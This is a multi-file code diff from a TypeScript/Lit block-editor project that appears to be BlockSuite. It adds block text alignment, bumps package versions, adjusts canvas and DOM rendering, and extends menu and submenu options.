when: ({ chain }) => isFormatSupported(chain).run()[0],
generate({ chain }) {
const [ok, { selectedModels = [] }] = chain
.tryAll(chain => [
chain.pipe(getTextSelectionCommand),
chain.pipe(getBlockSelectionsCommand),
])
.pipe(getSelectedModelsCommand, { types: ['text', 'block'] })
.run();
if (!ok) return null;
const alignment =
textAlignConfigs.find(
({ textAlign }) =>
textAlign ===
getMostCommonValue(
selectedModels.map(
({ props }) => props as { textAlign?: TextAlign }
),
'textAlign'
)
) ?? textAlignConfigs[0];
const update = (textAlign: TextAlign) => {
chain.pipe(updateBlockAlign, { textAlign }).run();
};
return {
content: html`
<editor-menu-button
.contentPadding="${'8px'}"
.button=${html`
<editor-icon-button aria-label="Align" .tooltip="${'Align'}">
${alignment.icon} ${EditorChevronDown}
</editor-icon-button>
`}
>
<div data-size="large" data-orientation="vertical">
${repeat(
textAlignConfigs,
item => item.name,
({ textAlign, name, icon }) => html`
<editor-menu-action
aria-label=${name}
@click=${() => update(textAlign)}
>
${icon}<span class="label">${name}</span>
</editor-menu-action>
`
)}
</div>
</editor-menu-button>
`,
};
},
} as const satisfies ToolbarActionGenerator;
const inlineTextActionGroup = {
id: 'b.inline-text',
when: ({ chain }) => isFormatSupported(chain).run()[0],
@@ -291,6 +357,7 @@ const turnIntoLinkedDoc = {
export const builtinToolbarConfig = {
actions: [
conversionsActionGroup,
alignActionGroup,
inlineTextActionGroup,
highlightActionGroup,
turnIntoDatabase,

View File

@@ -19,7 +19,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -30,9 +30,9 @@
"fractional-indexing": "^3.2.0",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"nanoid": "^5.0.7",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"nanoid": "^5.1.6",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -26,14 +26,14 @@
"html2canvas": "^1.4.1",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"nanoid": "^5.0.7",
"nanoid": "^5.1.6",
"pdf-lib": "^1.17.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "3.1.3"
"vitest": "^3.2.4"
},
"exports": {
".": "./src/index.ts",
@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -113,7 +113,7 @@ export class CanvasRenderer {
* It is not recommended to set width and height to 100%.
*/
private _canvasSizeUpdater(dpr = window.devicePixelRatio) {
const { width, height } = this.viewport;
const { width, height, viewScale } = this.viewport;
const actualWidth = Math.ceil(width * dpr);
const actualHeight = Math.ceil(height * dpr);
@@ -124,6 +124,8 @@ export class CanvasRenderer {
update(canvas: HTMLCanvasElement) {
canvas.style.width = `${width}px`;
canvas.style.height = `${height}px`;
canvas.style.transform = `scale(${1 / viewScale})`;
canvas.style.transformOrigin = `top left`;
canvas.width = actualWidth;
canvas.height = actualHeight;
},

View File

@@ -11,7 +11,7 @@ import {
getBoundWithRotation,
intersects,
} from '@blocksuite/global/gfx';
import type { BlockStdScope } from '@blocksuite/std';
import { type BlockStdScope, SurfaceSelection } from '@blocksuite/std';
import type {
GfxCompatibleInterface,
GridManager,
@@ -298,7 +298,10 @@ export class DomRenderer {
viewportBounds,
zoom
);
Object.assign(domElement.style, geometricStyles);
const zIndexStyle = {
'z-index': this.layerManager.getZIndex(elementModel),
};
Object.assign(domElement.style, geometricStyles, zIndexStyle);
Object.assign(domElement.style, PLACEHOLDER_RESET_STYLES);
// Clear classes specific to shapes, if applicable
@@ -335,7 +338,10 @@ export class DomRenderer {
zoom
);
const opacityStyle = getOpacity(elementModel);
Object.assign(domElement.style, geometricStyles, opacityStyle);
const zIndexStyle = {
'z-index': this.layerManager.getZIndex(elementModel),
};
Object.assign(domElement.style, geometricStyles, opacityStyle, zIndexStyle);
this._renderElement(elementModel, domElement);
}
@@ -384,6 +390,36 @@ export class DomRenderer {
this.refresh();
})
);
// Workaround for the group rendering reactive update when selection changed
let lastSet = new Set<string>();
this._disposables.add(
this.std.selection.filter$(SurfaceSelection).subscribe(selections => {
const groupRelatedSelection = new Set(
selections.flatMap(s =>
s.elements.flatMap(e => {
const element = surfaceModel.getElementById(e);
if (
element &&
(element.type === 'group' || element.groups.length !== 0)
) {
return [element.id, ...element.groups.map(g => g.id)];
}
return [];
})
)
);
if (lastSet.symmetricDifference(groupRelatedSelection).size !== 0) {
lastSet.union(groupRelatedSelection).forEach(g => {
this._markElementDirty(g, UpdateType.ELEMENT_UPDATED);
});
this.refresh();
}
lastSet = groupRelatedSelection;
})
);
}
addOverlay = (overlay: Overlay) => {

View File

@@ -8,9 +8,8 @@ import type { RoughCanvas } from '../../index.js';
import type { CanvasRenderer } from '../canvas-renderer.js';
export type ElementRenderer<
T extends
| GfxPrimitiveElementModel
| GfxLocalElementModel = GfxPrimitiveElementModel,
T extends GfxPrimitiveElementModel | GfxLocalElementModel =
GfxPrimitiveElementModel,
> = (
model: T,
ctx: CanvasRenderingContext2D,

View File

@@ -10,7 +10,7 @@
"author": "toeverything",
"license": "MIT",
"dependencies": {
"@atlaskit/pragmatic-drag-and-drop": "^1.4.0",
"@atlaskit/pragmatic-drag-and-drop": "^1.7.7",
"@blocksuite/affine-components": "workspace:*",
"@blocksuite/affine-ext-loader": "workspace:*",
"@blocksuite/affine-inline-preset": "workspace:*",
@@ -20,16 +20,16 @@
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/data-view": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@emotion/css": "^11.13.5",
"@floating-ui/dom": "^1.6.13",
"@preact/signals-core": "^1.8.0",
"lit": "^3.2.0",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.24.1"
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -144,6 +144,16 @@ export class TableBlockComponent extends CaptionedBlockComponent<TableBlockModel
style=${styleMap({
paddingLeft: `${virtualPadding}px`,
paddingRight: `${virtualPadding}px`,
marginLeft:
!this.model.props.textAlign$.value ||
this.model.props.textAlign$?.value === 'left'
? undefined
: 'auto',
marginRight:
!this.model.props.textAlign$.value ||
this.model.props.textAlign$?.value === 'right'
? undefined
: 'auto',
width: 'max-content',
})}
>

View File

@@ -418,6 +418,7 @@ export class TableCell extends SignalWatcher(
name: 'Paste',
prefix: PasteIcon(),
select: () => {
// eslint-disable-next-line @typescript-eslint/no-floating-promises
navigator.clipboard.readText().then(text => {
this.selectionController.doPaste(text, selected);
});

View File

@@ -13,7 +13,7 @@
"@blocksuite/affine-model": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@blocksuite/sync": "workspace:*",
@@ -28,15 +28,15 @@
"@types/mdast": "^4.0.4",
"collapse-white-space": "^2.1.0",
"date-fns": "^4.0.0",
"katex": "^0.16.11",
"katex": "^0.16.27",
"lit": "^3.2.0",
"lit-html": "^3.2.1",
"lodash-es": "^4.17.21",
"remark-math": "^6.0.0",
"rxjs": "^7.8.1",
"shiki": "^3.0.0",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"rxjs": "^7.8.2",
"shiki": "^3.19.0",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -82,5 +82,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -23,6 +23,7 @@ export type MenuButtonData = {
select: (ele: HTMLElement) => void | false;
onHover?: (hover: boolean) => void;
testId?: string;
closeOnSelect?: boolean;
};
export class MenuButton extends MenuFocusable {
@@ -85,7 +86,9 @@ export class MenuButton extends MenuFocusable {
onClick() {
if (this.data.select(this) !== false) {
this.menu.options.onComplete?.();
this.menu.close();
if (this.data.closeOnSelect !== false) {
this.menu.close();
}
}
}
@@ -150,7 +153,9 @@ export class MobileMenuButton extends MenuFocusable {
onClick() {
if (this.data.select(this) !== false) {
this.menu.options.onComplete?.();
this.menu.close();
if (this.data.closeOnSelect !== false) {
this.menu.close();
}
}
}
@@ -193,12 +198,14 @@ export const menuButtonItems = {
(config: {
name: string;
label?: () => TemplateResult;
info?: TemplateResult;
prefix?: TemplateResult;
postfix?: TemplateResult;
isSelected?: boolean;
select: (ele: HTMLElement) => void | false;
onHover?: (hover: boolean) => void;
class?: MenuClass;
closeOnSelect?: boolean;
hide?: () => boolean;
testId?: string;
}) =>
@@ -211,13 +218,14 @@ export const menuButtonItems = {
return html`
${config.prefix}
<div class="affine-menu-action-text">
${config.label?.() ?? config.name}
${config.label?.() ?? config.name} ${config.info}
</div>
${config.postfix ?? (config.isSelected ? DoneIcon() : undefined)}
`;
},
onHover: config.onHover,
select: config.select,
closeOnSelect: config.closeOnSelect,
class: {
'selected-item': config.isSelected ?? false,
...config.class,

View File

@@ -17,6 +17,7 @@ export type MenuInputData = {
class?: string;
onComplete?: (value: string) => void;
onChange?: (value: string) => void;
onBlur?: (value: string) => void;
disableAutoFocus?: boolean;
};
@@ -49,6 +50,10 @@ export class MenuInput extends MenuFocusable {
this.data.onChange?.(this.inputRef.value);
};
private readonly onBlur = () => {
this.data.onBlur?.(this.inputRef.value);
};
private readonly onInput = (e: InputEvent) => {
e.stopPropagation();
if (e.isComposing) return;
@@ -109,6 +114,7 @@ export class MenuInput extends MenuFocusable {
@focus="${() => {
this.menu.setFocusOnly(this);
}}"
@blur="${this.onBlur}"
@input="${this.onInput}"
placeholder="${this.data.placeholder ?? ''}"
@keypress="${this.stopPropagation}"
@@ -215,6 +221,7 @@ export const menuInputItems = {
prefix?: TemplateResult;
onComplete?: (value: string) => void;
onChange?: (value: string) => void;
onBlur?: (value: string) => void;
class?: string;
style?: Readonly<StyleInfo>;
}) =>
@@ -228,6 +235,7 @@ export const menuInputItems = {
class: config.class,
onComplete: config.onComplete,
onChange: config.onChange,
onBlur: config.onBlur,
};
const style = styleMap({
display: 'flex',

View File

@@ -15,6 +15,7 @@ import {
computePosition,
type Middleware,
offset,
type Placement,
type ReferenceElement,
shift,
} from '@floating-ui/dom';
@@ -37,7 +38,9 @@ export class MenuComponent
display: flex;
flex-direction: column;
user-select: none;
min-width: 180px;
min-width: 320px;
max-width: 320px;
max-height: 700px;
box-shadow: ${unsafeCSSVar('overlayPanelShadow')};
border-radius: 4px;
background-color: ${unsafeCSSVarV2('layer/background/overlayPanel')};
@@ -439,6 +442,7 @@ export const createPopup = (
onClose?: () => void;
middleware?: Array<Middleware | null | undefined | false>;
container?: HTMLElement;
placement?: Placement;
}
) => {
const close = () => {
@@ -448,6 +452,7 @@ export const createPopup = (
const modal = createModal(target.root);
autoUpdate(target.targetRect, content, () => {
computePosition(target.targetRect, content, {
placement: options?.placement,
middleware: options?.middleware ?? [shift({ crossAxis: true })],
})
.then(({ x, y }) => {
@@ -520,6 +525,7 @@ export const popMenu = (
options: MenuOptions;
middleware?: Array<Middleware | null | undefined | false>;
container?: HTMLElement;
placement?: Placement;
}
): MenuHandler => {
if (IS_MOBILE) {
@@ -551,6 +557,7 @@ export const popMenu = (
offset(4),
],
container: props.container,
placement: props.placement,
});
return {
close: closePopup,
@@ -563,12 +570,14 @@ export const popMenu = (
export const popFilterableSimpleMenu = (
target: PopupTarget,
options: MenuConfig[],
onClose?: () => void
onClose?: () => void,
placement: Placement = 'bottom-start'
) => {
popMenu(target, {
options: {
items: options,
onClose,
},
placement,
});
};

View File

@@ -4,12 +4,15 @@ import {
autoPlacement,
autoUpdate,
computePosition,
type Middleware,
offset,
shift,
} from '@floating-ui/dom';
import { html, nothing, type TemplateResult } from 'lit';
import { css, html, nothing, type TemplateResult } from 'lit';
import { property } from 'lit/decorators.js';
import { classMap } from 'lit/directives/class-map.js';
import { MenuButton } from './button.js';
import { MenuFocusable } from './focusable.js';
import { Menu, type MenuOptions } from './menu.js';
import { popMenu, popupTargetFromElement } from './menu-renderer.js';
@@ -20,29 +23,55 @@ export type MenuSubMenuData = {
options: MenuOptions;
select?: () => void;
class?: string;
openOnHover?: boolean;
middleware?: Middleware[];
autoHeight?: boolean;
closeOnSelect?: boolean;
};
export const subMenuOffset = offset({
mainAxis: 16,
crossAxis: -8.5,
crossAxis: 0,
});
export const subMenuPlacements = autoPlacement({
allowedPlacements: ['right-start', 'left-start', 'right-end', 'left-end'],
allowedPlacements: ['bottom-end'],
});
export const subMenuMiddleware = [subMenuOffset, subMenuPlacements];
export const dropdownSubMenuMiddleware = [
autoPlacement({ allowedPlacements: ['bottom-end'] }),
offset({ mainAxis: 8, crossAxis: 0 }),
shift({ crossAxis: true }),
];
export class MenuSubMenu extends MenuFocusable {
static override styles = [
MenuButton.styles,
css`
.affine-menu-button svg:last-child {
transition: transform 150ms cubic-bezier(0.42, 0, 1, 1);
}
affine-menu-sub-menu.active .affine-menu-button svg:last-child {
transform: rotate(90deg);
}
`,
];
createTime = 0;
override connectedCallback() {
super.connectedCallback();
this.createTime = Date.now();
this.disposables.addFromEvent(this, 'mouseenter', this.onMouseEnter);
if (this.data.openOnHover !== false) {
this.disposables.addFromEvent(this, 'mouseenter', this.onMouseEnter);
}
this.disposables.addFromEvent(this, 'click', e => {
e.preventDefault();
e.stopPropagation();
if (this.data.select) {
this.data.select();
this.menu.close();
if (this.data.closeOnSelect !== false) {
this.menu.close();
}
} else {
this.openSubMenu();
}
@@ -60,11 +89,38 @@ export class MenuSubMenu extends MenuFocusable {
}
openSubMenu() {
if (this.data.openOnHover === false) {
const { menu } = popMenu(popupTargetFromElement(this), {
options: {
...this.data.options,
onComplete: () => {
if (this.data.closeOnSelect !== false) {
this.menu.close();
}
},
onClose: () => {
menu.menuElement.remove();
this.data.options.onClose?.();
},
},
middleware: this.data.middleware,
});
if (this.data.autoHeight) {
menu.menuElement.style.minHeight = 'fit-content';
menu.menuElement.style.maxHeight = 'fit-content';
}
menu.menuElement.style.minWidth = '200px';
this.menu.openSubMenu(menu);
return;
}
const focus = this.menu.currentFocused$.value;
const menu = new Menu({
...this.data.options,
onComplete: () => {
this.menu.close();
if (this.data.closeOnSelect !== false) {
this.menu.close();
}
},
onClose: () => {
menu.menuElement.remove();
@@ -74,9 +130,14 @@ export class MenuSubMenu extends MenuFocusable {
},
});
this.menu.menuElement.parentElement?.append(menu.menuElement);
if (this.data.autoHeight) {
menu.menuElement.style.minHeight = 'fit-content';
menu.menuElement.style.maxHeight = 'fit-content';
}
menu.menuElement.style.minWidth = '200px';
const unsub = autoUpdate(this, menu.menuElement, () => {
computePosition(this, menu.menuElement, {
middleware: subMenuMiddleware,
middleware: this.data.middleware ?? subMenuMiddleware,
})
.then(({ x, y }) => {
menu.menuElement.style.left = `${x}px`;
@@ -125,14 +186,22 @@ export class MobileSubMenu extends MenuFocusable {
options: {
...this.data.options,
onComplete: () => {
this.menu.close();
if (this.data.closeOnSelect !== false) {
this.menu.close();
}
},
onClose: () => {
menu.menuElement.remove();
this.data.options.onClose?.();
},
},
middleware: this.data.middleware,
});
if (this.data.autoHeight) {
menu.menuElement.style.minHeight = 'fit-content';
menu.menuElement.style.maxHeight = 'fit-content';
}
menu.menuElement.style.minWidth = '200px';
this.menu.openSubMenu(menu);
}
@@ -175,6 +244,10 @@ export const subMenuItems = {
options: MenuOptions;
disableArrow?: boolean;
hide?: () => boolean;
openOnHover?: boolean;
middleware?: Middleware[];
autoHeight?: boolean;
closeOnSelect?: boolean;
}) =>
menu => {
if (config.hide?.() || !menu.search(config.name)) {
@@ -190,6 +263,10 @@ export const subMenuItems = {
${config.disableArrow ? nothing : ArrowRightSmallIcon()} `,
class: config.class,
options: config.options,
openOnHover: config.openOnHover,
middleware: config.middleware,
autoHeight: config.autoHeight,
closeOnSelect: config.closeOnSelect,
};
return renderSubMenu(data, menu);
},

View File

@@ -229,9 +229,9 @@ export class DatePicker extends WithDisposable(LitElement) {
private _modeDecade(offset: number) {
this._yearCursor = clamp(
this._yearCursor + offset,
this._minYear,
this._maxYear,
this._yearCursor + offset
this._maxYear
);
this._getYearMatrix();
}

Some files were not shown because too many files have changed in this diff Show More